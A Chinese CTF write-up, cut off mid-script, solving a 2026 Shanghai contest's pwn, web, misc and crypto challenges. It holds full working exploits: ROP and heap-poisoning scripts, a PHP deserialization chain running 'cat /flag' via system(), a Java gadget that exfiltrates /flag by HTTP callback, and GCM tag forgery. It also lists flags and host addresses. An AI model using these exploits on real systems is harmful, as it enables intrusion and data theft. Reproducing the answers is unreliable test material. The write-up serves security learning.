第十一届上海市大学生网络安全大赛暨“磐石行动”2026第四届全国高校网络安全攻防
PWN1. pwn_rpg
题目信息
目标:psdxs.idss-cn.com:26483
附件:PWN 3
保护:No PIE、NX、无 Canary、No RELRO。
漏洞分析
input_name() 的栈布局如下:
char name[0x50];
read(0, name, 0x58);
读取长度比缓冲区多 8 字节,只能覆盖 saved RBP,不能直接覆盖返回地址。input_name() 返回后,main 继续执行,但 RBP 已被改写;main 最后的 leave; ret 会把 RSP 切换到 name 缓冲区,形成 stack pivot。
可用地址:
pop rdi; ret : 0x400b83
/bin/sh : 0x400cea
system@plt : 0x400630
ROP 链放在 name 缓冲区:
buffer+0x00 fake RBP
buffer+0x08 pop rdi; ret
buffer+0x10 /bin/sh
buffer+0x18 system@plt
buffer+0x50 saved RBP 低字节
由于没有栈泄露,只覆盖 saved RBP 的最低字节并枚举 256 种可能。实际远程运行中 0x01 命中。游戏部分发送 0,随后持续选择 Attack,直到胜利并触发 main 的返回。
完整 exploit
from pwn import *
context.arch = "amd64"
context.log_level = "info"
HOST, PORT = "psdxs.idss-cn.com", 26483
POP_RDI = 0x400B83
SYSTEM = 0x400630
BINSH = 0x400CEA
def attempt(low):
io = remote(HOST, PORT, timeout=2)
try:
chain = flat(0, POP_RDI, BINSH, SYSTEM)
name = chain.ljust(0x50, b"A") + p8(low)
io.recvuntil(b"Enter your name:")
io.send(name)
io.recvuntil(b"How many hp do you want to give")
io.sendline(b"0")
io.recvuntil(b"> ")
for _ in range(100):
io.sendline(b"1")
out = io.recvuntil(b"> ", timeout=1)
if b"[VICTORY]" in out:
io.sendline(b"echo PWNED; cat /flag; exit")
out += io.recvrepeat(1)
if b"{" in out:
return out
break
if b"[GAME OVER]" in out or b"Invalid." in out:
break
except (EOFError, TimeoutError):
pass
finally:
io.close()
return None
for low in range(256):
log.info("trying saved-RBP low byte %#x", low)
result = attempt(low)
if result:
print(result.decode(errors="replace"))
break
Flag
flag{QNTkKBPnEfM8ULZhFya5IdgOojY1lr0e}
PWN2. guarded_echo
题目信息
目标:psdxs.idss-cn.com:24628
附件:guarded_echo
保护:No PIE、NX、无 Canary、No RELRO。
漏洞分析
echo_phase() 将用户输入直接作为 printf 格式串,并额外传入固定参数:
printf(input, 0x1111..., 0x2222..., 0x3333...,
0x4444..., guard, win);
因此:
%5$p -> 随机 guard
%6$p -> win() 地址
guarded_input() 的缓冲区从 rbp-0x50 开始。guard 副本位于 rbp-0x10,因此其偏移为 0x40;saved RBP 为 0x50,saved RIP 为 0x58。
正确的第二阶段长度是 0x60 = 96 字节:
0x00..0x3f filler
0x40..0x47 leaked guard
0x48..0x57 filler / saved RBP
0x58..0x5f leaked win()
完整 exploit
from pwn import *
import re
context.arch = "amd64"
context.log_level = "info"
io = remote("psdxs.idss-cn.com", 24628, timeout=3)
io.recvuntil(b"guarded echo> ")
io.sendline(b"%5$p.%6$p")
data = io.recvuntil(b"Payload length: ")
leaks = re.search(
rb"\[echo\]\s+(0x[0-9a-fA-F]+)\.(0x[0-9a-fA-F]+)", data
)
if not leaks:
raise RuntimeError("guard/win leak failed")
guard = int(leaks.group(1), 16)
win = int(leaks.group(2), 16)
payload = b"A" * 0x40 + p64(guard) + b"B" * 0x10 + p64(win)
io.sendline(b"96")
io.recvuntil(b"payload> ")
io.send(payload)
print(io.recvall(timeout=3).decode(errors="replace"))
Flag
flag{YpFnEtkTj3zxyI0B1QgcMloaRXNmDUKi}
PWN3. Return_Postcard
题目信息
目标:psdxs.idss-cn.com:28306
附件:return_postcard.zip
保护:No PIE、NX、无 Canary、Full RELRO。
漏洞分析
write_postcard() 只分配 0x40 字节:
char postcard[0x40];
read_postcard_line(postcard);
read_postcard_line() 最多读取 0x100 字节,且只在遇到换行时停止,导致越界覆盖调用者的 saved RIP。
postcard 起点:rbp-0x40
saved RIP: postcard+0x48
二进制包含隐藏函数 deliver_postcard(),地址为 0x401221,该函数打开 /flag 并通过 write_all() 输出。因此无需 libc 泄露,直接 ret2win。
完整 exploit
from pwn import *
context.arch = "amd64"
context.log_level = "info"
BIN = "/mnt/e/Datapayload/.pwn_analysis/return_postcard/return_postcard"
elf = ELF(BIN, checksec=False)
io = remote("psdxs.idss-cn.com", 28306)
payload = b"A" * 0x48 + p64(elf.symbols["deliver_postcard"])
io.sendlineafter(b"Write your postcard:", payload)
print(io.recvall(timeout=3).decode(errors="replace"))
Flag
flag{M1ztwENJ0lXsb6eBPpnSmKZQ9j84Hiao}
PWN4. Tcache-vault
题目信息
目标:psdxs.idss-cn.com:26833
附件:tcache_vault.zip
libc:Ubuntu GLIBC 2.39-0ubuntu8.6
保护:PIE、NX、Canary、Full RELRO。题目使用 glibc safe-linking,因此不能直接把 tcache next 写成明文地址。
数据结构与漏洞
三个 slot 的状态分别为 free/live/released,指针保存在 .bss 的 slots 数组中。释放 relic 后,程序只把状态改为 released,却保留指针;后续 audit 和 calibrate 继续使用该指针。
漏洞组合:
release后的 stale pointer 允许读取 freed chunk 的 64 字节内容;calibrate可直接覆盖 freed chunk 的第一个 qword,即 tcachenext;两次 stage都申请0x40chunk,可以把第二次分配重定向到.bss的vault_area。
泄露 nonce 与 PIE
先创建 A、B,再按 A、B 顺序释放,tcache 链为 [B, A]。A 是链尾,因此其 freed next 为:
A[0:8] = A >> 12
对象初始化时写入的字段为:
A+0x10 = rol(A>>12, 9) ^ session_nonce ^ C1
A+0x18 = ror(A>>12, 7) ^ audit_event ^ rol(session_nonce,17) ^ C2
所以可以先由 A+0x10 求出 nonce,再由 A+0x18 求出 audit_event,最后得到 PIE base:
nonce = A+0x10 ^ rol(A>>12,9) ^ C1
audit_event = A+0x18 ^ ror(A>>12,7) ^ rol(nonce,17) ^ C2
PIE base = audit_event - 0x1279
B 的 B+0x10 字段用于求 B>>12,避免假设 A、B 一定在同一页。
tcache poisoning
密封区域是:
vault_area = PIE base + 0x4050
将 B 的 freed next 改为 safe-linking 编码:
encoded_next = vault_area ^ (B >> 12)
第一次 stage 消耗 B,第二次 stage 返回 vault_area。
密封记录校验
候选记录 64 字节布局:
offset 0x00: 0x5641554c545f4f4b
offset 0x08: session_nonce
offset 0x10: checksum
offset 0x18: reward 地址
checksum 的计算完全按 unlock 逻辑复现:
x = rol(reward, 13) ^ (vault_area ^ nonce) ^ C3
x ^= x >> 29
x = x * C4 mod 2^64
x ^= x >> 32
callback 必须是 reward(),地址为 PIE base + 0x12a6。校验成功后程序调用 reward,读取 /flag。
完整 exploit
from pwn import *
context.arch = "amd64"
context.log_level = "info"
HOST, PORT = "psdxs.idss-cn.com", 26833
MASK = (1 << 64) - 1
C1 = 0xA5D4C39B72E1680F
C2 = 0x6B18F4E29D730AC5
C3 = 0xD6E8FEB86659FD93
C4 = 0x9E6C63D0676A9A99
MAGIC = 0x5641554C545F4F4B
def rol(x, n):
return ((x << n) | (x >> (64 - n))) & MASK
def ror(x, n):
return ((x >> n) | (x << (64 - n))) & MASK
def checksum(reward, vault, nonce):
x = rol(reward, 0xD) ^ (vault ^ nonce) ^ C3
x ^= x >> 0x1D
x = (x * C4) & MASK
return x ^ (x >> 0x20)
def choose(io, action):
io.sendlineafter(b"> ", str(action).encode())
def store(io, slot, label):
choose(io, 1)
io.sendlineafter(b"slot: ", str(slot).encode())
io.sendlineafter(b"label: ", label)
def release(io, slot):
choose(io, 2)
io.sendlineafter(b"slot: ", str(slot).encode())
def audit(io, slot):
choose(io, 3)
io.sendlineafter(b"slot: ", str(slot).encode())
io.recvuntil(b"DATA: ")
raw = io.recvline().strip()
if len(raw) != 128:
raise RuntimeError("unexpected audit length")
return bytes.fromhex(raw.decode())
def calibrate(io, slot, value):
choose(io, 4)
io.sendlineafter(b"slot: ", str(slot).encode())
io.sendlineafter(
b"next (16 hex digits): ", f"{value:016x}".encode()
)
def stage(io, payload):
choose(io, 5)
io.recvuntil(b"payload (64 bytes): ")
io.send(payload)
io = remote(HOST, PORT)
store(io, 0, b"A")
store(io, 1, b"B")
release(io, 0)
release(io, 1)
data_a = audit(io, 0)
page_a = u64(data_a[0:8])
f1_a = u64(data_a[0x10:0x18])
f2_a = u64(data_a[0x18:0x20])
nonce = f1_a ^ rol(page_a, 9) ^ C1
data_b = audit(io, 1)
f1_b = u64(data_b[0x10:0x18])
page_b = ror(f1_b ^ nonce ^ C1, 9)
audit_event = f2_a ^ ror(page_a, 7) ^ rol(nonce, 0x11) ^ C2
base = audit_event - 0x1279
vault = base + 0x4050
reward = base + 0x12A6
calibrate(io, 1, vault ^ page_b)
stage(io, b"A" * 64)
candidate = flat(
MAGIC,
nonce,
checksum(reward, vault, nonce),
reward,
b"\x00" * (64 - 0x20),
)
stage(io, candidate)
choose(io, 6)
print(io.recvall(timeout=3).decode(errors="replace"))
Flag
flag{rckNHUs8ZOF3lMR1py642xhWbCoLAqwi}
总结
flag{QNTkKBPnEfM8ULZhFya5IdgOojY1lr0e} | |||
flag{YpFnEtkTj3zxyI0B1QgcMloaRXNmDUKi} | |||
flag{M1ztwENJ0lXsb6eBPpnSmKZQ9j84Hiao} | |||
flag{rckNHUs8ZOF3lMR1py642xhWbCoLAqwi} |
WEB1:PHP POP Chain
第 1 步:源码审计
页面泄露的核心源码如下:
<?php
class A {
private $evil;
private $a;
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}
class B {
private $b;
function __invoke($c) {
$s = $this->b;
$s($c);
}
}
if (isset($_GET['data'])) {
$a = unserialize($_GET['data']);
} else {
highlight_file(__FILE__);
}
漏洞分别为:
highlight_file(__FILE__)造成源码泄露,攻击者可以获知类名、属性名和 magic method。unserialize($_GET['data'])对用户可控数据进行反序列化,没有签名校验或类白名单。A::__destruct()将属性a当作函数调用;如果a是B对象,会触发B::__invoke()。B::__invoke()再将属性b当作函数调用;设置为system后即可执行操作系统命令。
调用链为:
unserialize(data)
-> A::__destruct()
-> A::$a(B object)
-> B::__invoke(A::$evil)
-> B::$b(system)
-> system(command)
第 2 步:构造序列化 payload
PHP 私有属性在序列化字符串中必须写成 NUL + 类名 + NUL + 属性名:
A::$evil = "\x00A\x00evil" 长度 7
A::$a = "\x00A\x00a" 长度 4
B::$b = "\x00B\x00b" 长度 4
用于验证命令执行的原始 payload:
O:1:"A":2:{s:7:"\x00A\x00evil";s:6:"whoami";s:4:"\x00A\x00a";O:1:"B":1:{s:4:"\x00B\x00b";s:6:"system";}}
注意:上面代码块中的 \x00 表示实际 NUL 字节(0x00),不是四个可打印字符。URL 编码后的请求可使用 Python requests 自动编码;等价的 payload 参数形式为:
O%3A1%3A%22A%22%3A2%3A%7Bs%3A7%3A%22%00A%00evil%22%3Bs%3A6%3A%22whoami%22%3Bs%3A4%3A%22%00A%00a%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A4%3A%22%00B%00b%22%3Bs%3A6%3A%22system%22%3B%7D%7D
请求:
GET /?data=<URL-encoded-payload> HTTP/1.1
Host: psdxs.idss-cn.com:22756
服务器响应:
www-data
这证明 A::__destruct()、B::__invoke() 和 system() 均已触发。
第 3 步:读取 flag
将命令替换为 ls / 可看到根目录下存在 flag 文件,再使用 cat /flag 读取。命令字符串长度必须准确填写:whoami 为 6 字节,cat /flag 为 8 字节。
读取 flag 的原始 payload:
O:1:"A":2:{s:7:"\x00A\x00evil";s:8:"cat /flag";s:4:"\x00A\x00a";O:1:"B":1:{s:4:"\x00B\x00b";s:6:"system";}}
完整利用脚本见 solve.py:
import argparse
import requests
URL = "http://psdxs.idss-cn.com:22756/"
def build_payload(command: str) -> str:
command_length = len(command.encode("utf-8"))
return (
'O:1:"A":2:{'
f's:7:"\x00A\x00evil";s:{command_length}:"{command}";'
's:4:"\x00A\x00a";'
'O:1:"B":1:{s:4:"\x00B\x00b";s:6:"system";}'
'}'
)
def execute(command: str) -> str:
response = requests.get(URL, params={"data": build_payload(command)}, timeout=15)
response.raise_for_status()
return response.text.strip()
for command in ("whoami", "ls /", "cat /flag"):
print(f"$ {command}")
print(execute(command))
实测输出:
$ whoami
www-data
$ ls /
... flag ...
$ cat /flag
flag{YjKErm0WyISwLc5uHCxdDOlPZnp7ieQz}
WEB2.Babygadget
摘要
/api/legacy-sso/ticket/verify 接收 Authorization: Bearer 票据,经过 URL 解码、Base64 解码和 AES-CBC 解密后,直接使用 ObjectInputStream.readObject() 反序列化不可信数据。应用自带的 HashCode 类在 hashCode() 中调用 defineClass() 和 newInstance(),可作为 Java 反序列化 gadget 动态加载并实例化攻击者提供的 class。
解题过程
第 1 步:还原票据格式
反编译 Login.class 得到服务端要求的明文序列化头:
writeLong(9143923155895290750L)
writeUTF("admin")
writeObject(...)
Crypto.class 中的实际参数为:
AES/CBC/PKCS5Padding
key = TAKETHEAESKEY123
iv = 2026071620260716
题面提到的 Shiro 默认密钥并未被该服务端使用。票据经过 AES 加密后再 Base64 编码,并作为 URL 编码后的 Bearer 值提交;否则 Base64 中的 + 会在服务端 URLDecoder.decode() 时变为空格。
第 2 步:触发 HashCode gadget
HashCode 实现了 Serializable,字段 ClassByte 保存 class 文件字节。将其作为 HashMap 的 key 后,HashMap.readObject() 会调用 key 的 hashCode():
HashMap.readObject()
-> HashCode.hashCode()
-> defineClass(null, ClassByte, 0, ClassByte.length)
-> Class.newInstance()
恶意 class 的构造器读取 /flag,然后通过 HTTP GET 回调带出内容。目标运行时为 Java 8,因此恶意 class 必须使用 javac --release 8 编译;使用 JDK 21 默认字节码会导致服务端返回 500。
本地生成序列化对象并加密提交:
# 编译 Evil.java 和 PayloadGen.java
D:\CTF\JDK-21\bin\javac.exe --release 8 -cp . .\Evil.java .\PayloadGen.java
D:\CTF\JDK-21\bin\java.exe -cp . PayloadGen > payload.b64
# AES-CBC/PKCS7(Java 的 PKCS5Padding 对 AES 等价于 PKCS7)
$key = [Text.Encoding]::UTF8.GetBytes('TAKETHEAESKEY123')
$iv = [Text.Encoding]::UTF8.GetBytes('2026071620260716')
$aes = [Security.Cryptography.Aes]::Create()
$aes.Mode = 'CBC'; $aes.Padding = 'PKCS7'; $aes.Key = $key; $aes.IV = $iv
$plain = [Convert]::FromBase64String([IO.File]::ReadAllText('.\payload.b64'))
$cipher = $aes.CreateEncryptor().TransformFinalBlock($plain, 0, $plain.Length)
$ticket = [uri]::EscapeDataString([Convert]::ToBase64String($cipher))
Invoke-WebRequest `
-Uri 'http://psdxs.idss-cn.com:29906/api/legacy-sso/ticket/verify' `
-Method Post -Headers @{ Authorization = "Bearer $ticket" } `
-UseBasicParsing
服务端返回 Legacy administrator session restored,回调请求中得到:
flag{cra7KvMPNYF0dm3AuzXnt5CxHbURQJOB}
MISC1.stereo_secret
摘要
题目给出一段双声道 WAV。左、右声道单独播放时只有相同的设备噪声,说明有效信息位于声道差分而不是公共信号中。对 L-R 做 1 kHz 窄带幅度检测,可得到按时长编码的摩斯码。
第 1 步:提取立体声差分
读取 WAV 后计算:
diff = left - right
原始左右声道高度相关(相关系数约 0.989),而 L-R 中出现明显的 1 kHz 分量;这正是被左右声道共同噪声掩盖的隐藏载波。
第 2 步:按时长解码摩斯码
以 220 个采样点为窗口,计算 1 kHz 分量幅度。幅度超过 500 视为有效载波;有效段长度小于 30 个窗口为点,大于等于 30 个窗口为划,空闲段大于等于 40 个窗口表示字母间隔。
完整脚本如下:
#!/usr/bin/env python3
import sys
import wave
import numpy as np
MORSE = {
".-":"A", "-...":"B", "-.-.":"C", "-..":"D", ".":"E",
"..-.":"F", "--.":"G", "....":"H", "..":"I", ".---":"J",
"-.-":"K", ".-..":"L", "--":"M", "-.":"N", "---":"O",
".--.":"P", "--.-":"Q", ".-.":"R", "...":"S", "-":"T",
"..-":"U", "...-":"V", ".--":"W", "-..-":"X", "-.--":"Y",
"--..":"Z", "-----":"0", ".----":"1", "..---":"2",
"...--":"3", "....-":"4", ".....":"5", "-....":"6",
"--...":"7", "---..":"8", "----.":"9",
"..--.-":"_",
}
with wave.open(sys.argv[1], "rb") as wav:
fs = wav.getframerate()
raw = np.frombuffer(wav.readframes(wav.getnframes()), dtype="<i2")
stereo = raw.reshape(-1, 2).astype(float)
diff = stereo[:, 0] - stereo[:, 1]
window = 220
t = np.arange(window)
c = np.cos(2 * np.pi * 1000 * t / fs)
s = np.sin(2 * np.pi * 1000 * t / fs)
amp = []
for off in range(0, len(diff) - window + 1, window):
block = diff[off:off + window]
amp.append(2 / window * np.hypot(np.dot(block, c), np.dot(block, s)))
active = np.asarray(amp) > 500
runs, start = [], 0
for i in range(1, len(active) + 1):
if i == len(active) or active[i] != active[start]:
runs.append((bool(active[start]), i - start))
start = i
letters, symbol = [], ""
for state, length in runs:
if state:
symbol += "." if length < 30 else "-"
elif length >= 40 and symbol:
letters.append(symbol)
symbol = ""
if symbol:
letters.append(symbol)
message = "".join(MORSE[x] for x in letters)
print(message)
print(f"flag{{{message.lower()}}}")
运行结果:
STEREO_DIFFERENCE
flag{stereo_difference}
CRYPTO1. AES-GCM nonce 重用
1.1 题目源码
#!/usr/bin/env python3
import json
import secrets
from pathlib import Path
from Crypto.Cipher import AES
OUTPUT = Path(__file__).with_name("records.json")
AAD = b"telemetry-v1"
PLAINTEXTS = [b"role=user;uid=01", b"role=user;uid=02"]
TARGET = b"admin=true;uid=0"
def encrypt_record(key: bytes, nonce: bytes, plaintext: bytes) -> dict[str, str]:
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce, mac_len=16)
cipher.update(AAD)
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
return {
"plaintext": plaintext.hex(),
"ciphertext": ciphertext.hex(),
"tag": tag.hex(),
}
def main() -> None:
key = secrets.token_bytes(16)
nonce = secrets.token_bytes(12)
records = [encrypt_record(key, nonce, plaintext) for plaintext in PLAINTEXTS]
instance = {
"nonce": nonce.hex(),
"aad": AAD.hex(),
"records": records,
"target_plaintext": TARGET.hex(),
}
OUTPUT.write_text(json.dumps(instance, indent=2) + "\n", encoding="utf-8")
if __name__ == "__main__":
main()
import hashlib
R = 0xE1000000000000000000000000000000
IDENTITY = 1 << 127
def gf_mul(x: int, y: int) -> int:
z = 0
v = y
for bit in range(127, -1, -1):
if (x >> bit) & 1:
z ^= v
v = (v >> 1) ^ (R if v & 1 else 0)
return z
def ghash(h: int, aad: bytes, ciphertext: bytes) -> int:
def blocks(data):
padded = data + b"\0" * ((-len(data)) % 16)
return [int.from_bytes(padded[i:i + 16], "big")
for i in range(0, len(padded), 16)]
value = 0
for block in blocks(aad) + blocks(ciphertext):
value = gf_mul(value ^ block, h)
lengths = ((len(aad) * 8) << 64) | (len(ciphertext) * 8)
return gf_mul(value ^ lengths, h)
def submission_flag(nonce: bytes, ciphertext: bytes, tag: bytes) -> str:
return "flag{" + hashlib.sha256(nonce + ciphertext + tag).hexdigest()[:32] + "}"
1.2 核心漏洞
两条消息使用同一个 GCM nonce。GCM 的 CTR 加密部分因此复用同一段 keystream。已知 P1 和 C1 时,可以构造任意目标明文 P* 的 ciphertext:
C* = C1 XOR P1 XOR P*
认证 tag 也可以恢复。由于两条消息的 AAD、长度和 block 数完全相同,GHASH 的公共项抵消,得到:
T1 XOR T2 = (C1 XOR C2) * H^2
于是:
H^2 = (T1 XOR T2) * (C1 XOR C2)^-1
H = (H^2)^(2^127)
这里必须注意 verifier.py 的有限域乘法不是普通整数乘法,其乘法单位元是 1 << 127。因此幂运算的初始值也必须使用 1 << 127。
已构造的管理员消息为:
plaintext = admin=true;uid=0
ciphertext = f6287e2bf443fcc49933d0483112e655
tag = f30062dc9c5bbdfb84439af26795257a
1.3 完整解题脚本
#!/usr/bin/env python3
import hashlib
import json
import sys
from pathlib import Path
ROOT = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(r"E:\\Datapayload\\crypto_extracted")
R = 0xE1000000000000000000000000000000
IDENTITY = 1 << 127
def mul(x, y):
z, v = 0, y
for bit in range(127, -1, -1):
if (x >> bit) & 1:
z ^= v
v = (v >> 1) ^ (R if v & 1 else 0)
return z
def power(x, e):
result = IDENTITY
while e:
if e & 1:
result = mul(result, x)
x = mul(x, x)
e >>= 1
return result
def inverse(x):
return power(x, (1 << 128) - 2)
def ghash(h, aad, ciphertext):
blocks = []
for data in (aad, ciphertext):
padded = data + b"\0" * ((-len(data)) % 16)
blocks.extend(int.from_bytes(padded[i:i + 16], "big")
for i in range(0, len(padded), 16))
value = 0
for block in blocks:
value = mul(value ^ block, h)
lengths = (len(aad) * 8 << 64) | (len(ciphertext) * 8)
return mul(value ^ lengths, h)
def main():
data = json.loads((ROOT / "附件" / "records.json").read_text())
aad = bytes.fromhex(data["aad"])
nonce = bytes.fromhex(data["nonce"])
first, second = data["records"]
c1 = bytes.fromhex(first["ciphertext"])
c2 = bytes.fromhex(second["ciphertext"])
t1, t2 = int(first["tag"], 16), int(second["tag"], 16)
delta_c = int.from_bytes(bytes(a ^ b for a, b in zip(c1, c2)), "big")
h2 = mul(t1 ^ t2, inverse(delta_c))
h = power(h2, 1 << 127)
p1 = bytes.fromhex(first["plaintext"])
target = bytes.fromhex(data["target_plaintext"])
target_c = bytes(a ^ b ^ c for a, b, c in zip(c1, p1, target))
mask = t1 ^ ghash(h, aad, c1)
target_tag = (mask ^ ghash(h, aad, target_c)).to_bytes(16, "big")
flag = hashlib.sha256(nonce + target_c + target_tag).hexdigest()[:32]
print("ciphertext:", target_c.hex())
print("tag:", target_tag.hex())
print(f"flag{{{flag}}}")
if __name__ == "__main__":
main()
运行输出:
ciphertext: f6287e2bf443fcc49933d0483112e655
tag: f30062dc9c5bbdfb84439af26795257a
flag{f7b2a3eb374eaeebfe8a46aaa8c48a38}
CRYPTO2. Xorshift32 时间种子
2.1 题目源码
#!/usr/bin/env python3
import json
import secrets
import time
from pathlib import Path
OUTPUT = Path(__file__).with_name("capture.json")
WINDOW_SECONDS = 6 * 60 * 60
def xorshift32(x: int) -> int:
x ^= (x << 13) & 0xFFFFFFFF
x ^= x >> 17
x ^= (x << 5) & 0xFFFFFFFF
return x & 0xFFFFFFFF
def stream(seed: int, length: int) -> bytes:
state = seed & 0xFFFFFFFF
output = bytearray()
while len(output) < length:
state = xorshift32(state)
output.extend(state.to_bytes(4, "little"))
return bytes(output[:length])
def encrypt(message: bytes, seed: int) -> bytes:
keystream = stream(seed, len(message))
return bytes(left ^ right for left, right in zip(message, keystream))
def main() -> None:
from secret import flag
event_timestamp = int(time.time())
offset_in_window = secrets.randbelow(WINDOW_SECONDS + 1)
window_start = event_timestamp - offset_in_window
window_end = window_start + WINDOW_SECONDS
ciphertext = encrypt(flag, event_timestamp)
capture = {
"window_start": window_start,
"window_end": window_end,
"ciphertext": ciphertext.hex(),
}
OUTPUT.write_text(json.dumps(capture, indent=2) + "\n", encoding="utf-8")
if __name__ == "__main__":
main()
{
"window_start": 1786147200,
"window_end": 1786168800,
"ciphertext": "c918c61e8d4a0c1212e7c9ef63a9b7f8a27fe6c839590c2b0627ea966ff4ad5fbac5"
}
2.2 核心漏洞
程序把 int(time.time()) 直接作为密码学种子。虽然没有泄露精确时间,但泄露了一个 6 小时窗口:
window_end - window_start = 21600
所以最多只有 21601 个候选 seed。Xorshift32 是确定性 PRNG,给定 seed 后输出完全可预测,直接枚举并用 flag{...} 格式筛选即可。
2.3 完整解题脚本
#!/usr/bin/env python3
import json
import sys
from pathlib import Path
ROOT = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(r"E:\\Datapayload\\crypto_extracted")
def xorshift32(x):
x &= 0xffffffff
x ^= (x << 13) & 0xffffffff
x ^= x >> 17
x ^= (x << 5) & 0xffffffff
return x & 0xffffffff
def stream(seed, length):
state, out = seed & 0xffffffff, bytearray()
while len(out) < length:
state = xorshift32(state)
out.extend(state.to_bytes(4, "little"))
return bytes(out[:length])
def main():
data = json.loads((ROOT / "附件 (2)" / "capture.json").read_text())
ciphertext = bytes.fromhex(data["ciphertext"])
for seed in range(data["window_start"], data["window_end"] + 1):
plaintext = bytes(a ^ b for a, b in zip(ciphertext, stream(seed, len(ciphertext))))
try:
text = plaintext.decode("ascii")
except UnicodeDecodeError:
continue
if text.startswith("flag{") and text.endswith("}"):
print("seed:", seed)
print(text)
return
raise SystemExit("no seed found")
if __name__ == "__main__":
main()
运行输出:
seed: 1786159697
flag{seconds_are_not_secret_seeds}
CRYPTO3. NTRU 风格多项式加密
3.1 题目源码
与漏洞直接相关的完整源码如下:
#!/usr/bin/env python3
import hashlib
import hmac
import json
import secrets
from pathlib import Path
N = 256
Q = 12289
OUTPUT = Path(__file__).with_name("output.json")
def derive_seed(master: bytes, label: bytes) -> bytes:
normalized_label = label[:6]
return hmac.new(master, normalized_label, hashlib.sha256).digest()
def sample_small(master: bytes, label: bytes) -> list[int]:
seed = derive_seed(master, label)
stream = hashlib.shake_256(seed).digest(N)
return [(byte % 3) - 1 for byte in stream]
def negacyclic_rotate(poly: list[int], amount: int) -> list[int]:
result = [0] * N
for index, coefficient in enumerate(poly):
target = index + amount
if target >= N:
result[target - N] -= coefficient
else:
result[target] += coefficient
return result
def negacyclic_mul(left: list[int], right: list[int]) -> list[int]:
result = [0] * N
for i, a_i in enumerate(left):
for j, b_j in enumerate(right):
target = i + j
if target >= N:
result[target - N] -= a_i * b_j
else:
result[target] += a_i * b_j
return [value % Q for value in result]
def add(*polynomials: list[int]) -> list[int]:
return [sum(values) % Q for values in zip(*polynomials)]
def keygen() -> tuple[list[int], list[int], int]:
master = secrets.token_bytes(32)
rotation = secrets.randbelow(N - 1) + 1
secret = sample_small(master, b"secret-key")
raw_error = sample_small(master, b"secret-noise")
error = negacyclic_rotate(raw_error, rotation)
while True:
public_a = [secrets.randbelow(Q) for _ in range(N)]
vulnerable_factor = public_a.copy()
vulnerable_factor[rotation] = (vulnerable_factor[rotation] + 1) % Q
if is_unit(vulnerable_factor):
break
public_b = add(negacyclic_mul(public_a, secret), error)
return public_a, public_b, rotation
def encrypt(public_a, public_b, message):
ephemeral_r = sample_small(secrets.token_bytes(32), b"encrypt-r")
error_1 = sample_small(secrets.token_bytes(32), b"encrypt-e1")
error_2 = sample_small(secrets.token_bytes(32), b"encrypt-e2")
encoded = encode_message(message)
u = add(negacyclic_mul(public_a, ephemeral_r), error_1)
v = add(negacyclic_mul(public_b, ephemeral_r), error_2, encoded)
return u, v
源码中剩余函数也属于题目源码的一部分,完整补充如下:
def add(*polynomials: list[int]) -> list[int]:
return [sum(values) % Q for values in zip(*polynomials)]
def trim(poly: list[int]) -> list[int]:
poly = [coefficient % Q for coefficient in poly]
while len(poly) > 1 and poly[-1] == 0:
poly.pop()
return poly
def polynomial_remainder(dividend: list[int], divisor: list[int]) -> list[int]:
dividend = trim(dividend)
divisor = trim(divisor)
inverse_lead = pow(divisor[-1], -1, Q)
while len(dividend) >= len(divisor) and dividend != [0]:
scale = dividend[-1] * inverse_lead % Q
offset = len(dividend) - len(divisor)
for index, coefficient in enumerate(divisor):
dividend[index + offset] = (dividend[index + offset] -
scale * coefficient) % Q
dividend = trim(dividend)
return dividend
def is_unit(poly: list[int]) -> bool:
left = trim(poly)
right = [1] + [0] * (N - 1) + [1]
while right != [0]:
left, right = right, polynomial_remainder(left, right)
return len(trim(left)) == 1 and trim(left)[0] != 0
def encode_message(message: bytes) -> list[int]:
padded = message.ljust(N // 8, b"\0")
bits = [(byte >> shift) & 1 for byte in padded for shift in range(7, -1, -1)]
return [bit * (Q // 2) for bit in bits]
def main() -> None:
from secret import flag
public_a, public_b, rotation = keygen()
u, v = encrypt(public_a, public_b, flag)
instance = {"n": N, "q": Q, "rotation": rotation,
"a": public_a, "b": public_b, "u": u, "v": v}
OUTPUT.write_text(json.dumps(instance, indent=2) + "\n", encoding="utf-8")
if __name__ == "__main__":
main()
因此本节源码代码块与原始 task.py 合起来即为完整题目源码;也可直接打开上面的原始文件链接。
3.2 核心漏洞
KDF 的 domain-separation 标签被错误截断:
normalized_label = label[:6]
因此:
secret-key -> secret
secret-noise -> secret
两个 HMAC 输入相同,导致:
secret = raw_error = s
旋转操作等价于在负循环环中乘以 x^rotation,公钥关系变成:
b = a*s + x^rotation*s
= (a + x^rotation)*s mod (x^256+1, 12289)
题目通过 is_unit() 保证 a+x^rotation 可逆,所以可以直接求逆恢复秘密:
s = (a+x^rotation)^-1 * b
解密时:
v - s*u = encoded_message + small_noise
encode_message() 把 bit 0 编码为 0、bit 1 编码为 Q//2=6144,按系数距离 0 或 6144 解码即可。
3.3 完整解题脚本
#!/usr/bin/env python3
import json
import sys
from pathlib import Path
ROOT = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(r"E:\\Datapayload\\crypto_extracted")
def trim(a, q):
a = [x % q for x in a]
while len(a) > 1 and a[-1] == 0:
a.pop()
return a
def sub(a, b, q):
n = max(len(a), len(b))
return trim([(a[i] if i < len(a) else 0) -
(b[i] if i < len(b) else 0) for i in range(n)], q)
def mul_poly(a, b, q):
out = [0] * (len(a) + len(b) - 1)
for i, x in enumerate(a):
for j, y in enumerate(b):
out[i + j] = (out[i + j] + x * y) % q
return trim(out, q)
def inverse_ring(f, n, q):
r0, r1 = [1] + [0] * (n - 1) + [1], trim(f, q)
t0, t1 = [0], [1]
while r1 != [0]:
quotient, remainder = [], r0[:]
inv_lead = pow(r1[-1], -1, q)
while len(remainder) >= len(r1) and remainder != [0]:
scale = remainder[-1] * inv_lead % q
offset = len(remainder) - len(r1)
while len(quotient) <= offset:
quotient.append(0)
quotient[offset] = scale
for i, value in enumerate(r1):
remainder[i + offset] = (remainder[i + offset] -
scale * value) % q
remainder = trim(remainder, q)
r0, r1 = r1, remainder
t0, t1 = t1, sub(t0, mul_poly(quotient, t1, q), q)
if len(r0) != 1 or r0[0] == 0:
raise ValueError("public factor is not a unit")
scale = pow(r0[0], -1, q)
return trim([x * scale for x in t0], q)
def ring_mul(a, b, n, q):
out = [0] * n
